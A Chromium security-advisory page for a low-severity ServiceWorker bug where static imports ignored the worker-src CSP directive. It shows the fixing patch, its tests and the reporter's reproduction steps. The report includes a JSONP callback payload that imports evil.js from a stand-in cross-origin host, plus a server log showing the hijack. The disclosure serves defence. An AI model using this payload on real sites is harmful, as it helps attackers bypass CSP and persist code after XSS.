Overview

Low
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactPolicy bypass in ServiceWorkers
DescriptionPolicy bypass in ServiceWorkers
ComponentServiceWorkers
Bug ClassLogic Error
Tracker485785246
Fix commitf0e69bffcf1a (chromium/src) +436/-275
CISA KEVNot listed
Creditedlebr0nli of National Yang Ming Chiao Tung University, Dept. of CS, Security and Systems Lab
Disclosed2026-04-07

Changed Functions

FunctionChangeNotes
fuzzer_test
third_party/blink/renderer/core/BUILD.gn
modified
css_properties
third_party/blink/renderer/core/BUILD.gn
modified

Files Changed

  • content/renderer/worker/fetch_client_settings_object_helpers.cc
  • third_party/blink/public/mojom/BUILD.gn
  • third_party/blink/public/platform/web_fetch_client_settings_object.h
  • third_party/blink/renderer/core/BUILD.gn
  • third_party/blink/renderer/core/exported/web_shared_worker_impl.cc
From f0e69bffcf1af52dc5fa41cb04f82ea16d61a07c Mon Sep 17 00:00:00 2001
From: Antonio Sartori <[email protected]>
Date: Thu, 05 Mar 2026 05:53:32 -0800
Subject: [PATCH] Include PolicyContainerPolicies in FetchClientSettingsObject

This CL changes the FetchClientSettingsObject to include the whole
PolicyContainerPolicies instead of just referrer policy. This requires
some boilerplate in order to convert between public and non-public
types in blink.

For now, this CL is a no-op, but in a follow-up CL we'll use this to
fix Content Security Policy checks for static imports in service
workers.

Bug: 485785246
Change-Id: Ic23708c92e4f4c3bfa4d14d4a21007dc18619c48
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7603479
Commit-Queue: Antonio Sartori <[email protected]>
Reviewed-by: Mike West <[email protected]>
Reviewed-by: Hiroki Nakagawa <[email protected]>
Reviewed-by: Ben Reich <[email protected]>
Cr-Commit-Position: refs/heads/main@{#1594628}
---

diff --git a/content/renderer/worker/fetch_client_settings_object_helpers.cc b/content/renderer/worker/fetch_client_settings_object_helpers.cc
index 7c01bb3..82d9d1a 100644
--- a/content/renderer/worker/fetch_client_settings_object_helpers.cc
+++ b/content/renderer/worker/fetch_client_settings_object_helpers.cc
@@ -5,6 +5,7 @@
 #include "content/renderer/worker/fetch_client_settings_object_helpers.h"
 
 #include "third_party/blink/public/platform/web_fetch_client_settings_object.h"
+#include "third_party/blink/public/platform/web_policy_container.h"
 
 namespace content {
 
@@ -12,16 +13,17 @@
 FetchClientSettingsObjectFromWebToMojom(
     const blink::WebFetchClientSettingsObject& web_settings_object) {
   return blink::mojom::FetchClientSettingsObject::New(
-      web_settings_object.referrer_policy,
+      web_settings_object.policy_container_policies.referrer_policy,
       web_settings_object.outgoing_referrer,
       web_settings_object.insecure_requests_policy);
 }
 
 blink::WebFetchClientSettingsObject FetchClientSettingsObjectFromMojomToWeb(
     const blink::mojom::FetchClientSettingsObjectPtr& mojom_settings_object) {
+  blink::WebPolicyContainerPolicies policies;
+  policies.referrer_policy = mojom_settings_object->referrer_policy;
   return blink::WebFetchClientSettingsObject(
-      mojom_settings_object->referrer_policy,
-      mojom_settings_object->outgoing_referrer,
+      std::move(policies), mojom_settings_object->outgoing_referrer,
       mojom_settings_object->insecure_requests_policy);
 }
 
diff --git a/third_party/blink/public/mojom/BUILD.gn b/third_party/blink/public/mojom/BUILD.gn
index 656d36e..59c7be4 100644
--- a/third_party/blink/public/mojom/BUILD.gn
+++ b/third_party/blink/public/mojom/BUILD.gn
@@ -105,6 +105,7 @@
     "filesystem/file_system.mojom",
     "font_access/font_access.mojom",
     "forms/form_control_type.mojom",
+    "frame/policy_container.mojom",
     "geolocation/geolocation_service.mojom",
     "hid/hid.mojom",
     "hyphenation/hyphenation.mojom",
@@ -1274,7 +1275,6 @@
     "frame/intrinsic_sizing_info.mojom",
     "frame/lifecycle.mojom",
     "frame/media_player_action.mojom",
-    "frame/policy_container.mojom",
     "frame/remote_frame.mojom",
     "frame/reporting_observer.mojom",
     "frame/sudden_termination_disabler_type.mojom",
diff --git a/third_party/blink/public/platform/web_fetch_client_settings_object.h b/third_party/blink/public/platform/web_fetch_client_settings_object.h
index d945b3a2..6216c215 100644
--- a/third_party/blink/public/platform/web_fetch_client_settings_object.h
+++ b/third_party/blink/public/platform/web_fetch_client_settings_object.h
@@ -7,12 +7,14 @@
 
 #include "third_party/blink/public/mojom/loader/fetch_client_settings_object.mojom-shared.h"
 #include "third_party/blink/public/platform/web_common.h"
+#include "third_party/blink/public/platform/web_policy_container.h"
 #include "third_party/blink/public/platform/web_url.h"
 
 #if INSIDE_BLINK
 #include "third_party/blink/public/common/security_context/insecure_request_policy.h"
 #include "third_party/blink/public/mojom/security_context/insecure_request_policy.mojom-shared.h"
 #include "third_party/blink/renderer/platform/loader/fetch/fetch_client_settings_object_snapshot.h"  // nogncheck
+#include "third_party/blink/renderer/platform/loader/fetch/policy_container_utils.h"  // nogncheck
 #include "third_party/blink/renderer/platform/weborigin/kurl.h"  // nogncheck
 #endif
 
@@ -23,8 +25,7 @@
 // Onion Soup is done.
 // Keep this struct consistent with mojom::FetchClientSettingsObject.
 struct WebFetchClientSettingsObject {
-  network::mojom::ReferrerPolicy referrer_policy =
-      network::mojom::ReferrerPolicy::kDefault;
+  WebPolicyContainerPolicies policy_container_policies;
   // outgoing_referrer must be either invalid (!IsValid()) or a valid, non-empty
   // WebURL (IsValid() && !IsEmpty()).
   // See https://crbug.com/1047612.
@@ -33,10 +34,10 @@
       blink::mojom::InsecureRequestsPolicy::kDoNotUpgrade;
 
   WebFetchClientSettingsObject(
-      network::mojom::ReferrerPolicy referrer_policy,
+      WebPolicyContainerPolicies policy_container_policies,
       WebURL outgoing_referrer,
       mojom::InsecureRequestsPolicy insecure_requests_policy)
-      : referrer_policy(referrer_policy),
+      : policy_container_policies(std::move(policy_container_policies)),
         // As per the comment on the |outgoing_referrer| member, it cannot be
         // set to a valid, empty WebURL. But the given |outgoing_referrer| may
         // be a valid, empty WebURL, for example, due to conversion from
@@ -49,7 +50,8 @@
 #if INSIDE_BLINK
   explicit WebFetchClientSettingsObject(
       const FetchClientSettingsObject& settings_object)
-      : referrer_policy(settings_object.GetReferrerPolicy()),
+      : policy_container_policies(ToWebPolicyContainerPolicies(
+            settings_object.GetPolicyContainerPolicies())),
         // As per the comment on the |outgoing_referrer| member, it cannot be
         // set to a valid, empty WebURL. But the given |outgoing_referrer| may
         // be a non-null empty String since the caller may pass one.
diff --git a/third_party/blink/renderer/core/BUILD.gn b/third_party/blink/renderer/core/BUILD.gn
index c8135570..66ed65d 100644
--- a/third_party/blink/renderer/core/BUILD.gn
+++ b/third_party/blink/renderer/core/BUILD.gn
@@ -555,7 +555,6 @@
     "fetch/testing/internals_fetch.h",
     "fetch/testing/worker_internals_fetch.cc",
     "fetch/testing/worker_internals_fetch.h",
-    "frame/csp/test_util.cc",
     "frame/csp/test_util.h",
     "html/forms/mock_file_chooser.h",
     "streams/test_underlying_source.h",
@@ -1817,17 +1816,6 @@
   ]
 }
 
-fuzzer_test("content_security_policy_conversion_util_fuzzer") {
-  sources = [ "frame/csp/conversion_util_fuzzer.cc" ]
-  deps = [
-    ":core",
-    "//third_party/blink/renderer/core:testing",
-    "//third_party/blink/renderer/platform:blink_fuzzer_test_support",
-  ]
-  dict = "//testing/libfuzzer/fuzzers/dicts/content_security_policy.dict"
-  seed_corpus = "//testing/libfuzzer/fuzzers/content_security_policy_corpus"
-}
-
 css_properties("make_css_proto") {
   script = "../build/scripts/core/css/parser/make_proto.py"
   in_files = [ "css/css_value_keywords.json5" ]
diff --git a/third_party/blink/renderer/core/exported/web_shared_worker_impl.cc b/third_party/blink/renderer/core/exported/web_shared_worker_impl.cc
index 0837af4..55bb339 100644
--- a/third_party/blink/renderer/core/exported/web_shared_worker_impl.cc
+++ b/third_party/blink/renderer/core/exported/web_shared_worker_impl.cc
@@ -55,7 +55,6 @@
 #include "third_party/blink/public/web/web_settings.h"
 #include "third_party/blink/renderer/core/dom/document.h"
 #include "third_party/blink/renderer/core/events/message_event.h"
-#include "third_party/blink/renderer/core/frame/csp/conversion_util.h"
 #include "third_party/blink/renderer/core/inspector/console_message.h"
 #include "third_party/blink/renderer/core/inspector/worker_devtools_params.h"
 #include "third_party/blink/renderer/core/script/script.h"
@@ -68,6 +67,7 @@
 #include "third_party/blink/renderer/platform/heap/garbage_collected.h"
 #include "third_party/blink/renderer/platform/heap/persistent.h"
 #include "third_party/blink/renderer/platform/loader/fetch/fetch_client_settings_object_snapshot.h"
+#include "third_party/blink/renderer/platform/loader/fetch/policy_container_utils.h"
 #include "third_party/blink/renderer/platform/network/content_security_policy_parsers.h"
 #include "third_party/blink/renderer/platform/weborigin/kurl.h"
 #include "third_party/blink/renderer/platform/weborigin/security_origin.h"
@@ -244,7 +244,8 @@
       MakeGarbageCollected<FetchClientSettingsObjectSnapshot>(
           /*global_object_url=*/script_request_url,
           /*base_url=*/script_request_url, constructor_origin,
-          outside_fetch_client_settings_object.referrer_policy,
+          FromWebPolicyContainerPolicies(
+              outside_fetch_client_settings_object.policy_container_policies),
           outside_fetch_client_settings_object.outgoing_referrer.GetString(),
           CalculateHttpsState(constructor_origin.Get()),
           AllowedByNosniff::MimeTypeCheck::kLaxForWorker,
@@ -268,7 +269,7 @@
   auto creation_params = std::make_unique<GlobalScopeCreationParams>(
       script_request_url, script_type, name, user_agent, ua_metadata,
       std::move(web_worker_fetch_context),
-      ConvertToMojoBlink(content_security_policies),
+      ToVector(content_security_policies, FromWebContentSecurityPolicy),
       Vector<network::mojom::blink::ContentSecurityPolicyPtr>(),
       outside_settings_object->GetReferrerPolicy(),
       DocumentPolicy::DocumentPolicyBundle{},
diff --git a/third_party/blink/renderer/core/frame/build.gni b/third_party/blink/renderer/core/frame/build.gni
index 8671ac7..eb3084b 100644
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/third_party/blink/renderer/core/frame/csp/conversion_util_test.cc b/third_party/blink/renderer/core/frame/csp/conversion_util_test.cc
deleted file mode 100644
index 41775c5..0000000
--- a/third_party/blink/renderer/core/frame/csp/conversion_util_test.cc
+++ /dev/null
@@ -1,177 +0,0 @@
-// Copyright 2021 The Chromium Authors
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#include "third_party/blink/renderer/core/frame/csp/conversion_util.h"
-
-#include "services/network/public/cpp/integrity_metadata.h"
-#include "services/network/public/cpp/web_sandbox_flags.h"
-#include "services/network/public/mojom/content_security_policy.mojom-blink.h"
-#include "services/network/public/mojom/integrity_algorithm.mojom-blink.h"
-#include "testing/gtest/include/gtest/gtest.h"
-#include "third_party/blink/renderer/core/frame/csp/test_util.h"
-
-namespace blink {
-
-TEST(ContentSecurityPolicyConversionUtilTest, BackAndForthConversion) {
-  using network::mojom::blink::ContentSecurityPolicy;
-  using network::mojom::blink::ContentSecurityPolicyHeader;
-  using network::mojom::blink::CSPDirectiveName;
-  using network::mojom::blink::CSPTrustedTypes;
-
-  auto basic_csp = ContentSecurityPolicy::New(
-      network::mojom::blink::CSPSource::New("http", "www.example.org", 80, "",
-                                            false, false),
-      HashMap<CSPDirectiveName, String>(),
-      HashMap<CSPDirectiveName, network::mojom::blink::CSPSourceListPtr>(),
-      false, false, false, network::mojom::blink::WebSandboxFlags::kNone,
-      ContentSecurityPolicyHeader::New(
-          "my-csp", network::mojom::blink::ContentSecurityPolicyType::kEnforce,
-          network::mojom::blink::ContentSecurityPolicySource::kHTTP),
-      false, Vector<String>(),
-      network::mojom::blink::CSPRequireTrustedTypesFor::None, nullptr,
-      Vector<String>());
-
-  using ModifyCSP = void(ContentSecurityPolicy&);
-  ModifyCSP* test_cases[] = {
-      [](ContentSecurityPolicy& csp) {},
-      [](ContentSecurityPolicy& csp) {
-        csp.raw_directives.insert(CSPDirectiveName::ScriptSrc, "'none'");
-        csp.raw_directives.insert(
-            CSPDirectiveName::DefaultSrc,
-            " http://www.example.org:443/path 'self' invalid ");
-      },
-      [](ContentSecurityPolicy& csp) {
-        csp.raw_directives.insert(CSPDirectiveName::ScriptSrc, "'none'");
-        csp.raw_directives.insert(
-            CSPDirectiveName::DefaultSrc,
-            " http://www.example.org:443/path 'self' invalid ");
-      },
-      [](ContentSecurityPolicy& csp) { csp.upgrade_insecure_requests = true; },
-      [](ContentSecurityPolicy& csp) { csp.treat_as_public_address = true; },
-      [](ContentSecurityPolicy& csp) { csp.block_all_mixed_content = true; },
-      [](ContentSecurityPolicy& csp) {
-        csp.sandbox = network::mojom::blink::WebSandboxFlags::kPointerLock |
-                      network::mojom::blink::WebSandboxFlags::kDownloads;
-      },
-      [](ContentSecurityPolicy& csp) {
-        csp.header = ContentSecurityPolicyHeader::New(
-            "my-csp", network::mojom::blink::ContentSecurityPolicyType::kReport,
-            network::mojom::blink::ContentSecurityPolicySource::kMeta);
-      },
-      [](ContentSecurityPolicy& csp) { csp.use_reporting_api = true; },
-      [](ContentSecurityPolicy& csp) {
-        csp.report_endpoints = {"endpoint1", "endpoint2"};
-      },
-      [](ContentSecurityPolicy& csp) {
-        csp.require_trusted_types_for =
-            network::mojom::blink::CSPRequireTrustedTypesFor::Script;
-      },
-      [](ContentSecurityPolicy& csp) {
-        csp.trusted_types = CSPTrustedTypes::New();
-      },
-      [](ContentSecurityPolicy& csp) {
-        csp.trusted_types = CSPTrustedTypes::New(
-            Vector<String>({"policy1", "policy2"}), false, false);
-      },
-      [](ContentSecurityPolicy& csp) {
-        csp.trusted_types = CSPTrustedTypes::New(
-            Vector<String>({"policy1", "policy2"}), true, false);
-      },
-      [](ContentSecurityPolicy& csp) {
-        csp.trusted_types = CSPTrustedTypes::New(
-            Vector<String>({"policy1", "policy2"}), false, true);
-      },
-      [](ContentSecurityPolicy& csp) {
-        csp.parsing_errors = {"error1", "error2"};
-      },
-  };
-
-  for (const auto& modify_csp : test_cases) {
-    auto test_csp = basic_csp.Clone();
-    (*modify_csp)(*test_csp);
-    EXPECT_EQ(ConvertToMojoBlink(ConvertToPublic(test_csp.Clone())), test_csp);
-  }
-}
-
-TEST(ContentSecurityPolicyConversionUtilTest,
-     BackAndForthConversionForCSPSourceList) {
-  using network::mojom::blink::ContentSecurityPolicy;
-  using network::mojom::blink::CSPDirectiveName;
-  using network::mojom::blink::CSPSource;
-  using network::mojom::blink::CSPSourceList;
-
-  auto basic_csp = ContentSecurityPolicy::New(
-      CSPSource::New("http", "www.example.org", 80, "", false, false),
-      HashMap<CSPDirectiveName, String>(),
-      HashMap<CSPDirectiveName, network::mojom::blink::CSPSourceListPtr>(),
-      false, false, false, network::mojom::blink::WebSandboxFlags::kNone,
-      network::mojom::blink::ContentSecurityPolicyHeader::New(
-          "my-csp", network::mojom::blink::ContentSecurityPolicyType::kEnforce,
-          network::mojom::blink::ContentSecurityPolicySource::kHTTP),
-      false, Vector<String>(),
-      network::mojom::blink::CSPRequireTrustedTypesFor::None, nullptr,
-      Vector<String>());
-
-  using ModifyCSP = void(CSPSourceList&);
-  ModifyCSP* test_cases[] = {
-      [](CSPSourceList& source_list) {},
-      [](CSPSourceList& source_list) {
-        source_list.sources.emplace_back(
-            CSPSource::New("http", "www.example.org", 80, "", false, false));
-        source_list.sources.emplace_back(CSPSource::New(
-            "http", "www.example.org", -1, "/path", false, false));
-        source_list.sources.emplace_back(
-            CSPSource::New("http", "www.example.org", 80, "", true, false));
-        source_list.sources.emplace_back(
-            CSPSource::New("http", "www.example.org", 8080, "", false, true));
-      },
-      [](CSPSourceList& source_list) {
-        source_list.nonces.emplace_back("nonce-abc");
-        source_list.nonces.emplace_back("nonce-cde");
-      },
-      [](CSPSourceList& source_list) {
-        source_list.hashes.emplace_back(network::IntegrityMetadata(
-            network::mojom::blink::IntegrityAlgorithm::kSha256,
-            Vector<uint8_t>({'a', 'd'})));
-        source_list.hashes.emplace_back(network::IntegrityMetadata(
-            network::mojom::blink::IntegrityAlgorithm::kSha384,
-            Vector<uint8_t>({'c', 'd', 'e'})));
-      },
-      [](CSPSourceList& source_list) {
-        source_list.hashes.emplace_back(network::IntegrityMetadata(
-            network::mojom::blink::IntegrityAlgorithm::kSha256,
-            Vector<uint8_t>({'a', 'd'})));
-        source_list.url_hashes.emplace_back(network::IntegrityMetadata(
-            network::mojom::blink::IntegrityAlgorithm::kSha384,
-            Vector<uint8_t>({'c', 'd', 'e'})));
-        source_list.eval_hashes.emplace_back(network::IntegrityMetadata(
-            network::mojom::blink::IntegrityAlgorithm::kSha384,
-            Vector<uint8_t>({'f', 'g', 'h'})));
-      },
-      [](CSPSourceList& source_list) { source_list.allow_self = true; },
-      [](CSPSourceList& source_list) { source_list.allow_star = true; },
-      [](CSPSourceList& source_list) { source_list.allow_inline = true; },
-      [](CSPSourceList& source_list) { source_list.allow_eval = true; },
-      [](CSPSourceList& source_list) { source_list.allow_wasm_eval = true; },
-      [](CSPSourceList& source_list) {
-        source_list.allow_wasm_unsafe_eval = true;
-      },
-      [](CSPSourceList& source_list) { source_list.allow_dynamic = true; },
-      [](CSPSourceList& source_list) {
-        source_list.allow_unsafe_hashes = true;
-      },
-      [](CSPSourceList& source_list) { source_list.report_sample = true; },
-  };
-
-  for (const auto& modify_csp : test_cases) {
-    auto test_csp = basic_csp.Clone();
-    auto script_src = CSPSourceList::New();
-    (*modify_csp)(*script_src);
-    test_csp->directives.insert(CSPDirectiveName::ScriptSrc,
-                                std::move(script_src));
-    EXPECT_EQ(ConvertToMojoBlink(ConvertToPublic(test_csp.Clone())), test_csp);
-  }
-}
-
-}  // namespace blink
diff --git a/third_party/blink/renderer/core/loader/mixed_content_checker_test.cc b/third_party/blink/renderer/core/loader/mixed_content_checker_test.cc
index e165984..65d306c 100644
--- a/third_party/blink/renderer/core/loader/mixed_content_checker_test.cc
+++ b/third_party/blink/renderer/core/loader/mixed_content_checker_test.cc
@@ -11,9 +11,11 @@
 #include "build/build_config.h"
 #include "build/chromecast_buildflags.h"
 #include "services/network/public/cpp/features.h"
+#include "services/network/public/mojom/referrer_policy.mojom-blink.h"
 #include "testing/gmock/include/gmock/gmock.h"
 #include "testing/gtest/include/gtest/gtest.h"
 #include "third_party/blink/public/mojom/fetch/fetch_api_request.mojom-blink.h"
+#include "third_party/blink/public/mojom/frame/policy_container.mojom-blink.h"
 #include "third_party/blink/public/mojom/loader/mixed_content.mojom-blink.h"
 #include "third_party/blink/public/mojom/loader/request_context_frame_type.mojom-blink.h"
 #include "third_party/blink/renderer/core/execution_context/security_context.h"
@@ -339,6 +341,11 @@
 
 class TestFetchClientSettingsObject : public FetchClientSettingsObject {
  public:
+  TestFetchClientSettingsObject()
+      : policies_(mojom::blink::PolicyContainerPolicies::New()) {
+    policies_->referrer_policy = network::mojom::ReferrerPolicy::kAlways;
+  }
+
   const KURL& GlobalObjectUrl() const override { return url; }
   HttpsState GetHttpsState() const override { return HttpsState::kModern; }
   mojom::blink::InsecureRequestPolicy GetInsecureRequestsPolicy()
@@ -352,8 +359,9 @@
   const SecurityOrigin* GetSecurityOrigin() const override {
     return origin_.get();
   }
-  network::mojom::ReferrerPolicy GetReferrerPolicy() const override {
-    return network::mojom::ReferrerPolicy::kAlways;
+  const mojom::blink::PolicyContainerPolicies& GetPolicyContainerPolicies()
+      const override {
+    return *policies_;
   }
   const String GetOutgoingReferrer() const override { return ""; }
   AllowedByNosniff::MimeTypeCheck MimeTypeCheckForClassicWorkerScript()
@@ -377,6 +385,7 @@
   const KURL url = KURL("https://example.test");
   const InsecureNavigationsSet set;
   scoped_refptr<SecurityOrigin> origin_;
+  mojom::blink::PolicyContainerPoliciesPtr policies_;
 };
 
 TEST(MixedContentCheckerTest,
diff --git a/third_party/blink/renderer/core/testing/page_test_base.cc b/third_party/blink/renderer/core/testing/page_test_base.cc
index acf3690..cdef5008 100644
--- a/third_party/blink/renderer/core/testing/page_test_base.cc
+++ b/third_party/blink/renderer/core/testing/page_test_base.cc
@@ -30,6 +30,7 @@
 #include "third_party/blink/renderer/core/testing/mock_policy_container_host.h"
 #include "third_party/blink/renderer/platform/heap/thread_state.h"
 #include "third_party/blink/renderer/platform/loader/fetch/memory_cache.h"
+#include "third_party/blink/renderer/platform/loader/fetch/policy_container_utils.h"
 #include "third_party/blink/renderer/platform/testing/unit_test_helpers.h"
 #include "third_party/blink/renderer/platform/wtf/shared_buffer.h"
 #include "third_party/blink/renderer/platform/wtf/text/string_builder.h"
@@ -321,7 +322,7 @@
            network::mojom::blink::ContentSecurityPolicyType::kEnforce,
            network::mojom::blink::ContentSecurityPolicySource::kHTTP, url)) {
     params->policy_container->policies.content_security_policies.emplace_back(
-        ConvertToPublic(std::move(csp)));
+        ToWebContentSecurityPolicy(*csp));
   }
 
   GetFrame().Loader().CommitNavigation(std::move(params),
diff --git a/third_party/blink/renderer/modules/service_worker/web_embedded_worker_impl_test.cc b/third_party/blink/renderer/modules/service_worker/web_embedded_worker_impl_test.cc
index e656c3a..5ff7044 100644
--- a/third_party/blink/renderer/modules/service_worker/web_embedded_worker_impl_test.cc
+++ b/third_party/blink/renderer/modules/service_worker/web_embedded_worker_impl_test.cc
@@ -598,7 +598,7 @@
   std::unique_ptr<WebEmbeddedWorkerStartData> CreateStartData() {
     const WebURL script_url = url_test_helpers::ToKURL(kTimedOutURL);
     WebFetchClientSettingsObject outside_settings_object(
-        network::mojom::ReferrerPolicy::kDefault,
+        WebPolicyContainerPolicies(),
         /*outgoing_referrer=*/script_url,
         blink::mojom::InsecureRequestsPolicy::kDoNotUpgrade);
     auto start_data = std::make_unique<WebEmbeddedWorkerStartData>(
diff --git a/third_party/blink/renderer/platform/loader/fetch/policy_container_utils_test.cc b/third_party/blink/renderer/platform/loader/fetch/policy_container_utils_test.cc
new file mode 100644
index 0000000..57e03db5
--- /dev/null
+++ b/third_party/blink/renderer/platform/loader/fetch/policy_container_utils_test.cc
@@ -0,0 +1,264 @@
+// Copyright 2021 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "third_party/blink/renderer/platform/loader/fetch/policy_container_utils.h"
+
+#include "services/network/public/cpp/connection_allowlist.h"
+#include "services/network/public/cpp/integrity_metadata.h"
+#include "services/network/public/cpp/web_sandbox_flags.h"
+#include "services/network/public/mojom/connection_allowlist.mojom-shared.h"
+#include "services/network/public/mojom/content_security_policy.mojom-blink.h"
+#include "services/network/public/mojom/cross_origin_embedder_policy.mojom-blink.h"
+#include "services/network/public/mojom/integrity_algorithm.mojom-blink.h"
+#include "services/network/public/mojom/integrity_policy.mojom.h"
+#include "services/network/public/mojom/ip_address_space.mojom-blink.h"
+#include "services/network/public/mojom/referrer_policy.mojom-blink.h"
+#include "testing/gtest/include/gtest/gtest.h"
+#include "third_party/blink/public/mojom/frame/policy_container.mojom-blink.h"
+
+namespace blink {
+
+TEST(PolicyContainerUtilsTest, ContentSecurityPolicyBackAndForthConversion) {
+  using network::mojom::blink::ContentSecurityPolicy;
+  using network::mojom::blink::ContentSecurityPolicyHeader;
+  using network::mojom::blink::CSPDirectiveName;
+  using network::mojom::blink::CSPTrustedTypes;
+
+  auto basic_csp = ContentSecurityPolicy::New(
+      network::mojom::blink::CSPSource::New("http", "www.example.org", 80, "",
... (truncated)
Loading diff…

Original Bug Report

reported by [email protected]

static `import` declarations in service workers do not respect `worker-src` CSP directive

VULNERABILITY DETAILS

Summary

Content Security Policy (CSP) is not properly enforced for service workers. Specifically, a service worker can execute static import declarations to load module scripts from sources that are not specified in the worker-src directive or its fallback directives.

Attack Preconditions

  • The attacker already has the ability to execute JavaScript on the target website via XSS.
  • The attacker can load a service worker from an endpoint allowed by the worker-src directive (or its fallback directives), and the response of that endpoint can be fully or partially controlled by the attacker (e.g., a JSONP endpoint).

Impact Analysis

If CSP were properly enforced for service workers, an attacker with XSS capabilities would be restricted from importing an external module within a Service Worker unless the attacker-controlled source was allowed by the worker-src directive or its fallbacks.

However, because CSP is not enforced for service workers during static import, an attacker can bypass CSP restrictions, allowing the service worker to import modules from arbitrary sources. This makes XSS mitigations less effective. For example, an attacker might be unable to execute certain payloads due to input validation or a WAF, but bypassing CSP with this bug to import an external script might help them circumvent these restrictions. (I have demonstrated this impact in the provided reproduction case by using a JSONP endpoint that implements input validation.)

VERSION

Chrome Version: 145.0.7632.76 stable

Operating System: Linux, Mac, Windows

This vulnerability is also present in Chrome 147.0.7692.0 canary.

REPRODUCTION CASE

  1. Create a directory structure like this with the attached files:
    .
    ├── evil.js
    ├── index.html
    └── server.py
    
  2. Create a virtual environment and install the required packages to run the server:
    python3 -m venv .venv
    source ./.venv/bin/activate
    python3 -m pip install 'uvicorn[standard]==0.41.0' fastapi==0.129.0
    
  3. Update the /etc/hosts file to make cross-origin.test resolve to 127.0.0.1.
  4. Run the server.py script:
    python3 server.py
    
    The server has the following endpoints (Note: you can check the comments and code in the provided attachments for more details):
    • /: Serves index.html with default-src 'none'; script-src 'self' 'unsafe-inline'; CSP header.
    • /api: A JSONP endpoint with default-src 'none'; CSP header.
    • /evil.js: Serves a malicious evil.js script, simulating a cross-origin server controlled by an attacker.
  5. Visit http://localhost:1337/ with Chrome.
  6. The page will attempt to register a service worker via the JSONP endpoint.
  7. The service worker will attempt a static import to load //cross-origin.test:1337/evil.js.
  8. Even though the CSP of / endpoint is set to default-src 'none'; script-src 'self' 'unsafe-inline';, you will see that the service worker still successfully imports the script from http://cross-origin.test:1337/evil.js.
  9. After reloading the page, you will see that the response for the / endpoint has been overwritten by evil.js, rendering an HTML page without any CSP restrictions.

If successfully reproduced, the expected log of the server should look like this:

$ python3 server.py
INFO:     Started server process [89241]
INFO:     Waiting for application startup.
INFO:     Application startup complete.
INFO:     Uvicorn running on http://127.0.0.1:1337 (Press CTRL+C to quit)
INFO:     127.0.0.1:59315 - "GET / HTTP/1.1" 200 OK
INFO:     Valid callback: import'//cross-origin.test:1337/evil.js';//
INFO:     127.0.0.1:59317 - "GET /api?callback=import%27//cross-origin.test:1337/evil.js%27;// HTTP/1.1" 200 OK
INFO:     Host: cross-origin.test:1337
INFO:     127.0.0.1:59318 - "GET /evil.js HTTP/1.1" 200 OK
INFO:     127.0.0.1:59315 - "PUT /pwned HTTP/1.1" 404 Not Found

CREDIT INFORMATION

Reporter credit: lebr0nli of National Yang Ming Chiao Tung University, Dept. of CS, Security and Systems Lab.

View on issue tracker